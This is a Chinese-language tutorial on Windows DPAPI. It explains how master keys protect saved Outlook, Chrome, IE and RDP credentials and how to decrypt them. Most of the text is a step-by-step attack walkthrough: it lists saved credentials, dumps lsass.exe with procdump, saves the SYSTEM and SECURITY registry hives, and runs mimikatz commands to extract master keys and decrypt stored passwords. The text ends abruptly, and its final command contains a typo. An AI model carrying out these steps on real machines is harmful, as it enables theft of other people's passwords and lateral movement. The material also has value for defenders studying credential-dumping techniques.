一、DPAPI简介
1 概述:DPAPI,由微软从Windows 2000开始发布,称为Data ProtectionApplication Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 。
其作用范围包括且不限于:
- outlook客户端密码
- windowscredential凭据
- chrome保存的密码凭据
- internetexplorer密码凭据
DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为Master Key Files,其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。
相关的介绍如下:
https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection
2. 存储过程(点击保存密码):在我们点击保存密码后,Windows就通过MasterKey将我们的密码加密后保存在本地,由于Windows还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到MasterKey就能将密码解出来。
3. 条件:
- 用户在目标机器上有保存过凭证
- 用户凭证存储位置:能访问C:\Users\AppData\Local\Microsoft\Credentials
- master key位置:lsass.exe进程可dump(能获得多个已登录用户master key)或能访问%APPDATA%\Microsoft\Protect{SID}{GUID}
二、通过DPAPI和mimi获取并解密凭证
-
cmdkey /list查看保存过的凭证,如:rdp登录密码、网页登录密码等
-
Credentials默认位置:
(1)C:\Users\AppData\Local\Microsoft\Credentials,默认隐藏
需要显示隐藏的项目
(2)其次还要取消勾选隐藏受保护的操作系统文件
(3)选取期中一个credential:dpapi::cred /in:C:\Users\admin\Desktop\mimikatz_trunk\x64\E3DAF49B16DF48A0B2CEAB56984CF6E3,获取该credential对应master key的guid
-
%APPDATA%\Microsoft\Protect{SID}{GUID}中危历史master key列表,这些master key为加密的,需要解密:
(1)拿用户hash解密(用户hash可从注册表中dump)
(2)直接从lsass.exe中dump解密后的master key
-
获得明文master key(方式1:用户hash):
(1)保存注册表reg save HKLM\SYSTEM SystemBkup.hiv和reg save HKLM\SECURITY SECURITY.hiv
(2)获取用户hash:mimikatz log “lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv”
(3)拿用户hash解密系统Master Key file,获得MasterKey -
获得明文master key(方式2:procdump):
(1)内存dump lsass.exe:procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2)sekurlsa::minidump lsass.dmp和sekurlsa::dpapi,通过mimi获取当前已登录用户各个Master Key file对应的MasterKey
-
通过master key解密选取对应guid的credential
(1)dpapi::cred /in:凭据文件路径 /masterky::masterkey值,